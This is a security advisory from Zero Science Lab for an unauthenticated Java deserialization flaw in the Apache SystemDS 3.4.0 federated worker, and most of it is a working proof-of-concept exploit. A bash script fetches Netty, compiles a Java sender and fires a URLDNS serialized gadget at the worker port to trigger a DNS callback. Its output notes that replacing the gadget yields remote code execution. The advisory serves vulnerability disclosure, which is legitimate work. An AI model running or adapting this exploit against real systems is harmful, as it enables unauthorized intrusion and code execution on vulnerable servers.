Apache SystemDS 3.4.0 Unauthenticated Java Deserialization

[zeroscience]

#!/usr/bin/env bash
#
#
# Apache SystemDS 3.4.0 Unauthenticated Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://systemds.apache.org
# Affected version: 3.4.0 and 3.5.0-SNAPSHOT
#
# Summary: SystemDS is an open source ML system for the end-to-end data science lifecycle
# from data integration, cleaning, and feature engineering, over efficient, local and distributed
# ML model training, to deployment and serving. To this end, it provides a stack of declarative
# languages with R-like syntax for (1) the different tasks of the data-science lifecycle,
# and (2) users with different expertise. These high-level scripts are compiled into hybrid
# execution plans of local, in-memory CPU and GPU operations, as well as distributed operations
# on Apache Spark.
#
# Desc: Apache SystemDS suffer from an unauthenticated Java deserialization vulnerability
# in its federated worker. The federated worker (started with systemds -w) accepts objects
# over a Netty channel using ObjectDecoder with no deserialization filtering and no authentication.
# A remote attacker who can reach the worker port can send a serialized object that is
# deserialized with no class restriction. This results in unauthenticated remote code execution
# when a suitable gadget class is present on the federated worker's classpath.
#
#
# Tested on: Microsoft Windows 10
#            OpenJDK Temurin 21.0.6
#            Netty 4.1.96
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research & Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6024
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6024
#
#
# 13.08.2026
#


set -u
HOST="${1:-127.0.0.1}"; PORT="${2:-4001}"; DNS="${3:-systemds-deser.example.test}"
case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) SEP=";"; jp(){ cygpath -w "$1"; } ;; *) SEP=":"; jp(){ printf '%s' "$1"; } ;; esac
command -v javac >/dev/null || { echo "[!] Need a JDK (javac)"; exit 1; }
W="$(pwd)/systemds_trigger_build"; rm -rf "$W"; mkdir -p "$W/libs"

V="4.1.96.Final"
echo "[*] Fetching Netty $V modules (common/buffer/resolver/transport/codec) ..."
for m in netty-common netty-buffer netty-resolver netty-transport netty-codec; do
  curl -fsSL "https://repo1.maven.org/maven2/io/netty/$m/$V/$m-$V.jar" -o "$W/libs/$m-$V.jar" \
    || { echo "[!] Download failed: $m-$V.jar"; exit 1; }
done
CP=""; for j in "$W"/libs/*.jar; do CP="${CP:+$CP$SEP}$(jp "$j")"; done

cat > "$W/SystemdsFederatedSender.java" <<'EOF'
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.serialization.ObjectEncoder;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.util.concurrent.TimeUnit;

public class SystemdsFederatedSender {
    static Object urldns(String domain) throws Exception {
        URLStreamHandler silent = new URLStreamHandler() {
            protected URLConnection openConnection(URL u) { return null; }
            protected synchronized InetAddress getHostAddress(URL u) { return null; }
        };
        HashMap<URL, String> ht = new HashMap<>();
        URL u = new URL("http", domain, 80, "/", silent);
        ht.put(u, domain);
        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true); f.setInt(u, -1);
        return ht;
    }

    public static void main(String[] args) throws Exception {
        String host = args.length > 0 ? args[0] : "127.0.0.1";
        int    port = args.length > 1 ? Integer.parseInt(args[1]) : 4001;
        String dns  = args.length > 2 ? args[2] : "systemds-deser.example.test";
        Object payload = urldns(dns);

        EventLoopGroup g = new NioEventLoopGroup(1);
        try {
            Bootstrap b = new Bootstrap();
            b.group(g).channel(NioSocketChannel.class).handler(new ChannelInitializer<SocketChannel>() {
                protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(new ObjectEncoder()); }
            });
            Channel ch = b.connect(host, port).sync().channel();
            System.out.println("[+] connected to SystemDS federated worker " + host + ":" + port);
            ch.writeAndFlush(payload).sync();
            System.out.println("[+] Sent URLDNS object via the real Netty ObjectEncoder (compact serialization).");
            System.out.println("    the worker's unfiltered ObjectDecoder.readObject() runs it PRE-AUTH ->");
            System.out.println("    DNS lookup for '" + dns + "' fires FROM the worker host. Watch your DNS listener.");
            System.out.println("    (For RCE: replace urldns() with a gadget object present on the worker classpath.)");
            ch.closeFuture().await(3000, TimeUnit.MILLISECONDS);
        } finally {
            g.shutdownGracefully();
        }
    }
}
EOF

echo "[*] Compiling the Netty sender ..."
javac -cp "$CP" -d "$(jp "$W")" "$(jp "$W/SystemdsFederatedSender.java")" \
  2> "$W/build.log" || { echo "[!] build failed:"; cat "$W/build.log"; exit 1; }

echo "[*] Firing at the live worker ($HOST:$PORT), DNS callback domain: $DNS"
echo "-----------------------------------------------------------------"
java --add-opens java.base/java.net=ALL-UNNAMED -cp "$(jp "$W")${SEP}$CP" SystemdsFederatedSender "$HOST" "$PORT" "$DNS"
echo "-----------------------------------------------------------------"
echo "[*] A DNS hit for $DNS = unauthenticated deserialization confirmed on the SystemDS worker."

ZSL-2026-6024: Apache SystemDS 3.4.0 Unauthenticated Java Deserialization

ZSL-2026-6024: Apache SystemDS 3.4.0 Unauthenticated Java Deserialization

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